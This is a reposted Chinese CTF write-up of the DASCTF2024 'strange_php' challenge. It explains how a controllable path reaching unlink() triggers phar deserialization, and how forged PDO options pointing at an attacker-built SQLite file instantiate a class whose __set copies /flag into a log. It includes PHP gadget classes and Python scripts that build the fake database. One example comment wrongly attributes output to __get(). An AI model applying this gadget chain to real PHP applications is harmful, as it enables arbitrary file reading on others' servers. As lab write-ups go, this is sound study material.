CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]

news2025/2/1 3:28:47

step 1 如何触发反序列化?

漏洞入口在

welcome.php

case 'delete':  
    // 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径  
    $message = $_POST['message_path'] ? $_POST['message_path'] : $_SESSION['message_path'];  
    $msg = $userMessage->deleteMessage($message); // 删除留言  
  
    if ($msg) {  
        echo "留言已成功删除"; // 输出成功删除信息  
    } else {  
        echo "操作失败,请重新尝试"; // 输出失败信息  
    }  
    break;

此处message_path可控,进一步跟进

UserMessage.php

public function deleteMessage($path) {  
    $path = $path . ".txt"; // 添加文件扩展名  
    if (file_exists($path)) {  
        $result = unlink($path);  
        if ($result === false) {  
            return false;  
        }  
        return true;  
    }  
    return false;  
}

$path可控,同时unlink可触发phar反序列化

step 2 如何创造一个可控文件?

public function writeMessage($message) {  
    $result = file_put_contents($this->filePath, $message);  
    if ($result === false) {  
        return false;  
    }  
    return true;  
}

step 3 如何利用反序列化读取flag?

<?php  
  
class UserMessage {  
    private $filePath;  

    ........
    
    // 魔术方法 __set,用于设置私有属性并记录日志  
    public function __set($name, $value) {  
        $this->$name = $value;  
        $logContent = file_get_contents($this->filePath) . "</br>";  
        file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);  
    }  
    
	.......
?>

魔术方法__set()在设置未定义或不可访问的属性时自动调用。用于控制对属性的设置。

class MyClass {
    private $data = [];

    public function __set($name, $value) {
        $this->data[$name] = $value;
    }
}

$obj = new MyClass();
$obj->name = 'John';
echo $obj->name; // __get() 被调用,输出: John

step 4 如何触发__set()?

题目使用PDO链接数据库

PDO_connect.php

<?php  
  
class PDO_connect {  
  
    private $pdo; // 用于保存 PDO 实例  
    public $con_options = []; // 用于设置 PDO 连接的选项  
    public $smt; // 用于保存 PDOStatement 实例  
  
    public function __construct() {  
        // 构造函数,初始化对象时调用  
    }  
  
    // 初始化连接选项  
    public function init() {  
    
        $this->con_options = array(  
            "dsn" => "mysql:host=localhost:3306;dbname=users;charset=utf8", // 数据源名称  
            'host' => '127.0.0.1', // 数据库主机地址  
            'port' => '3306', // 数据库端口  
            'user' => 'joker', // 数据库用户名  
            'password' => 'joker', // 数据库密码  
            'charset' => 'utf8', // 字符集  
            'options' => array(  
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, // 设置默认获取模式为关联数组  
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION // 设置错误处理模式为抛出异常  
            )  
        );  
    }  
  
    // 获取数据库连接  
    public function get_connection() {  
        $this->conn = null; // 初始化连接为 null        try {  
            // 创建 PDO 实例  
            $this->conn = new PDO($this->con_options['dsn'], $this->con_options['user'], $this->con_options['password']);  
  
            // 设置错误处理模式  
            if ($this->con_options['options'][PDO::ATTR_ERRMODE]) {  
                $this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]);  
            }  
  
            // 设置默认获取模式  
            if (isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])) {  
                $this->conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, $this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]);  
            }  
  
        } catch (PDOException $e) {  
            // 捕获异常并输出错误信息  
            echo 'Connection Error: ' . $e->getMessage();  
        }  
        return $this->conn; // 返回 PDO 连接实例  
    }  
}  
?>

在PHP的PDO(PHP Data Objects)中,PDO::ATTR_DEFAULT_FETCH_MODE 是一个属性,用于设置默认的获取模式(fetch mode)。这决定了当你从数据库中获取数据时,PDO如何返回结果。

PDO::FETCH_CLASSPDO::FETCH_CLASSTYPE 是两种不同的获取模式:

  1. PDO::FETCH_CLASS:此模式会将每一行结果映射到一个指定的类的实例中。忽略结果集中的字段名称,如果字段名与类中的属性名匹配,则自动赋值。

  2. PDO::FETCH_CLASSTYPE:当与 PDO::FETCH_CLASS 结合使用时,这个模式允许根据结果集中指定的一列动态决定要实例化的类。这意味着你可以根据数据库中的某个字段的值来决定使用哪个类来创建对象。

通过将 PDO::FETCH_CLASSPDO::FETCH_CLASSTYPE 使用按位或运算符 | 结合,可以实现根据数据库中的某个字段动态实例化不同的类。

PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE:这个组合的获取模式意味着 PDO 会根据结果集第一列的值作为要实例化的类名,并将查询结果的其余列映射到类的属性中。

class Admin {
    public $id;
    public $username;
    public $password;

    public function __construct($id, $username, $password) {
        $this->id = $id;
        $this->username = $username;
        $this->password = $password;
    }
}

class Member {
    public $id;
    public $username;
    public $password;

    public function __construct($id, $username, $password) {
        $this->id = $id;
        $this->username = $username;
        $this->password = $password;
    }
}

$dsn = 'sqlite:/path/to/your/database/file.db';
$username = 'root';
$password = 'root';
$options = [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE];

$pdo = new PDO($dsn, $username, $password);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE);

$query = "SELECT class_name, id, username, password FROM users";
$statement = $pdo->query($query);

while ($user = $statement->fetch()) {
    echo get_class($user) . "\n"; // 打印当前行映射的类名
    echo $user->id . "\n";
    echo $user->username . "\n";
    echo $user->password . "\n";
}

在这个例子中,PDO 会根据 class_name 列的值来决定实例化 AdminMember 类。其他列 (id, username, password) 将被传递给相应类的构造函数。


我们可以伪造一个虚假的数据库文件写入.txt并通过反序列化方式伪造PDO所需要的数组,那么在查询时就会返回我们伪造的结果

从这里可以得知目录路径

public function __set($name, $value) {  
    $this->$name = $value;  
    $logContent = file_get_contents($this->filePath) . "</br>";  
    file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);  
}

可以写出

class PDO_connect{  
    private $pdo;  
    public $con_options = []; 
    public $smt;  
    public function __construct(){  
  
        $this->con_options =  
            [   "dsn"=>'sqlite:/var/www/html/xxx.txt',  
                "username"=>"root",  
                "password"=>"root",  
                "options"=>[  
                    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE  
                ]  
            ];  
    }  
}

step 5 如何触发PDO_connect?

利用User.__destruct

User.php

public function __destruct() {  
    if ($this->username) {  
        $results = $this->log();  
        $log_mess = serialize($results);  
  
        // 记录日志到文件  
        file_put_contents("log/" . md5($this->username) . ".txt", $log_mess . "\n", FILE_APPEND);  
    }  
}

->log即可触发查询,当查询键为UserMessage会返回伪造的值

public function log() {  
    try {  
        $sql = "SELECT * FROM users WHERE username = :username";  
        $pdo = $this->conn->get_connection();  
        $stmt = $pdo->prepare($sql);  
  
        $stmt->bindParam(':username', $this->username);  
        $stmt->execute();  
        $result = $stmt->fetch();  
        return $result;  
    } catch (PDOException $e) {  
        echo $e->getMessage();  
    }  
}

所以写出

class PDO_connect{  
    private $pdo;  
    public $con_options = [];
    public $smt;  
    public function __construct(){  
        $this->con_options = [  
            "dsn"=>'sqlite:./fake_db.sqlite',  
            "username"=>"root",  
            "password"=>"root",  
            "options"=>[  
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE  
            ]  
        ];  
    }  
}  
class User{  
    private $conn;  
    private $table = 'users';  
  
    public $id;  
    public $username;  
  
    public $password;  
  
    public function __construct(){  
  
        $this->conn = new PDO_connect();  
        $this->username = "UserMessage";  
  
    }  
}

尝试

import sqlite3  
  
conn = sqlite3.connect('fake_db.sqlite')  
cursor = conn.cursor()  
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (

    username TEXT NOT NULL,
    filePath TEXT NOT NULL,
    set_name TEXT NOT NULL,

id INTEGER PRIMARY KEY AUTOINCREMENT)
''')  
users = [  
    ('UserMessage', 'filePath_value', 'set_value'),  
]  
cursor.executemany(''' INSERT INTO users (username, filePath, set_name) VALUES (?,?,?)  ''', users)  
  
conn.commit()  
  
cursor.execute('SELECT * FROM users')  
  
conn.close()

请添加图片描述

import sqlite3  
  
conn = sqlite3.connect('fake.db')  
cursor = conn.cursor()  
cursor.execute('''  
CREATE TABLE IF NOT EXISTS users (  
  
    username TEXT NOT NULL,
    filePath TEXT NOT NULL,
    password TEXT NOT NULL,
    
id INTEGER PRIMARY KEY AUTOINCREMENT)  
''')  
users = [  
    ('UserMessage', '/flag', '/flag'),  
]  
cursor.executemany('''  
INSERT INTO users (username, password,filePath) VALUES (?,?,?)  
''', users)  
  
conn.commit()  
  
cursor.execute('SELECT * FROM users')  
  
conn.close()

即可控制变量值触发/flag读取

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2289142.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Win11下帝国时代2无法启动解决方法

鼠标右键点图标&#xff0c;选择属性 点开始&#xff0c;输入启用和关闭

GSI快速收录服务:让你的网站内容“上架”谷歌

辛苦制作的内容无法被谷歌抓取和展示&#xff0c;导致访客无法找到你的网站&#xff0c;这是会让人丧失信心的事情。GSI快速收录服务就是为了解决这种问题而存在的。无论是新上线的页面&#xff0c;还是长期未被收录的内容&#xff0c;通过我们的技术支持&#xff0c;都能迅速被…

mysql_init和mysql_real_connect的形象化认识

解析总结 1. mysql_init 的作用 mysql_init 用于初始化一个 MYSQL 结构体&#xff0c;为后续数据库连接和操作做准备。该结构体存储连接配置及状态信息&#xff0c;是 MySQL C API 的核心句柄。 示例&#xff1a; MYSQL *conn mysql_init(NULL); // 初始化连接句柄2. mysql_…

python学opencv|读取图像(四十九)原理探究:使用cv2.bitwise()系列函数实现图像按位运算

【0】基础定义 按位与运算&#xff1a;两个等长度二进制数上下对齐&#xff0c;全1取1&#xff0c;其余取0。 按位或运算&#xff1a;两个等长度二进制数上下对齐&#xff0c;有1取1&#xff0c;其余取0。 按位异或运算&#xff1a; 两个等长度二进制数上下对齐&#xff0c;相…

基础项目实战——学生管理系统(c++)

目录 前言一、功能菜单界面二、类与结构体的实现三、录入学生信息四、删除学生信息五、更改学生信息六、查找学生信息七、统计学生人数八、保存学生信息九、读取学生信息十、打印所有学生信息十一、退出系统十二、文件拆分结语 前言 这一期我们来一起学习我们在大学做过的课程…

春节期间,景区和酒店如何合理用工?

春节期间&#xff0c;景区和酒店如何合理用工&#xff1f; 春节期间&#xff0c;旅游市场将迎来高峰期。景区与酒店&#xff0c;作为旅游产业链中的两大核心环节&#xff0c;承载着无数游客的欢乐与期待。然而&#xff0c;也隐藏着用工管理的巨大挑战。如何合理安排人力资源&a…

Linux Samba 低版本漏洞(远程控制)复现与剖析

目录 前言 漏洞介绍 漏洞原理 产生条件 漏洞影响 防御措施 复现过程 结语 前言 在网络安全的复杂生态中&#xff0c;系统漏洞的探索与防范始终是保障数字世界安全稳定运行的关键所在。Linux Samba 作为一款在网络共享服务领域应用极为广泛的软件&#xff0c;其低版本中…

【Numpy核心编程攻略:Python数据处理、分析详解与科学计算】1.27 线性代数王国:矩阵分解实战指南

1.27 线性代数王国&#xff1a;矩阵分解实战指南 #mermaid-svg-JWrp2JAP9qkdS2A7 {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-JWrp2JAP9qkdS2A7 .error-icon{fill:#552222;}#mermaid-svg-JWrp2JAP9qkdS2A7 .erro…

初二回娘家

昨天下午在相亲相爱一家人群里聊天&#xff0c;今天来娘家拜年。 聊天结束后&#xff0c;开始准备今天的菜肴&#xff0c;梳理了一下&#xff0c;凉菜&#xff0c;热菜&#xff0c;碗菜。 上次做菜&#xff0c;粉丝感觉泡的不透&#xff0c;有的硬&#xff0c;这次使用开水浸泡…

【Block总结】PKI 模块,无膨胀多尺度卷积,增强特征提取的能力|即插即用

论文信息 标题: Poly Kernel Inception Network for Remote Sensing Detection 作者: Xinhao Cai, Qiuxia Lai, Yuwei Wang, Wenguan Wang, Zeren Sun, Yazhou Yao 论文链接&#xff1a;https://arxiv.org/pdf/2403.06258 代码链接&#xff1a;https://github.com/NUST-Mac…

Blazor-@bind

数据绑定 带有 value属性的标记都可以使用bind 绑定&#xff0c;<div>、<span>等非输入标记&#xff0c;无法使用bind 指令的&#xff0c;默认绑定了 onchange 事件&#xff0c;onchange 事件是指在输入框中输入内容之后&#xff0c;当失去焦点时执行。 page &qu…

架构技能(六):软件设计(下)

我们知道&#xff0c;软件设计包括软件的整体架构设计和模块的详细设计。 在上一篇文章&#xff08;见 《架构技能&#xff08;五&#xff09;&#xff1a;软件设计&#xff08;上&#xff09;》&#xff09;谈了软件的整体架构设计&#xff0c;今天聊一下模块的详细设计。 模…

C++并发编程指南07

文章目录 [TOC]5.1 内存模型5.1.1 对象和内存位置图5.1 分解一个 struct&#xff0c;展示不同对象的内存位置 5.1.2 对象、内存位置和并发5.1.3 修改顺序示例代码 5.2 原子操作和原子类型5.2.1 标准原子类型标准库中的原子类型特殊的原子类型备选名称内存顺序参数 5.2.2 std::a…

MySQL 容器已经停止(但仍然存在),但希望重新启动它,并使它的 3306 端口映射到宿主机的 3306 端口是不可行的

重新启动容器并映射端口是不行的 由于你已经有一个名为 mysql-container 的 MySQL 容器&#xff0c;你可以使用 docker start 启动它。想要让3306 端口映射到宿主机是不行的&#xff0c;实际上&#xff0c;端口映射是在容器启动时指定的。你无法在容器已经创建的情况下直接修改…

春晚舞台上的人形机器人:科技与文化的奇妙融合

文章目录 人形机器人Unitree H1的“硬核”实力传统文化与现代科技的创新融合网友热议与文化共鸣未来展望&#xff1a;科技与文化的更多可能结语 2025 年央视春晚的舞台&#xff0c;无疑是全球华人目光聚焦的焦点。就在这个盛大的舞台上&#xff0c;一场名为《秧BOT》的创意融合…

将pandas.core.series.Series类型的小数转化成百分数

大年初二&#xff0c;大家过年好&#xff0c;蛇年行大运&#xff01; 今天在编写一个代码的时候&#xff0c;使用 import pandas as pd产生了pandas.core.series.Series类型的数据&#xff0c;里面有小数&#xff0c;样式如下&#xff1a; 目的&#xff1a;将这些小数转化为百…

详细解释java当中的所有知识点(前言及数据类型及变量)(第一部分)

会将java当中的所有的知识点以及相关的题目进行分享&#xff0c;这是其中的第一部分&#xff0c;用红色字体标注出重点&#xff0c;以及加粗的方式进行提醒 目录 一、Java语言概述 1.Java语言简介 2.语言优势 二、main方法 1.Java程序结构组成 2.运行Java程序 3.注释 4.…

字节iOS面试经验分享:HTTP与网络编程

字节iOS面试经验分享&#xff1a;HTTP与网络编程 &#x1f31f; 嗨&#xff0c;我是LucianaiB&#xff01; &#x1f30d; 总有人间一两风&#xff0c;填我十万八千梦。 &#x1f680; 路漫漫其修远兮&#xff0c;吾将上下而求索。 目录 字节iOS面试经验分享&#xff1a;HTT…

代码随想录_栈与队列

栈与队列 232.用栈实现队列 232. 用栈实现队列 使用栈实现队列的下列操作&#xff1a; push(x) – 将一个元素放入队列的尾部。 pop() – 从队列首部移除元素。 peek() – 返回队列首部的元素。 empty() – 返回队列是否为空。 思路: 定义两个栈: 入队栈, 出队栈, 控制出入…

【Oracle篇】使用Hint对优化器的执行计划进行干预(含单表、多表、查询块、声明四大类Hint干预)

&#x1f4ab;《博主介绍》&#xff1a;✨又是一天没白过&#xff0c;我是奈斯&#xff0c;从事IT领域✨ &#x1f4ab;《擅长领域》&#xff1a;✌️擅长阿里云AnalyticDB for MySQL(分布式数据仓库)、Oracle、MySQL、Linux、prometheus监控&#xff1b;并对SQLserver、NoSQL(…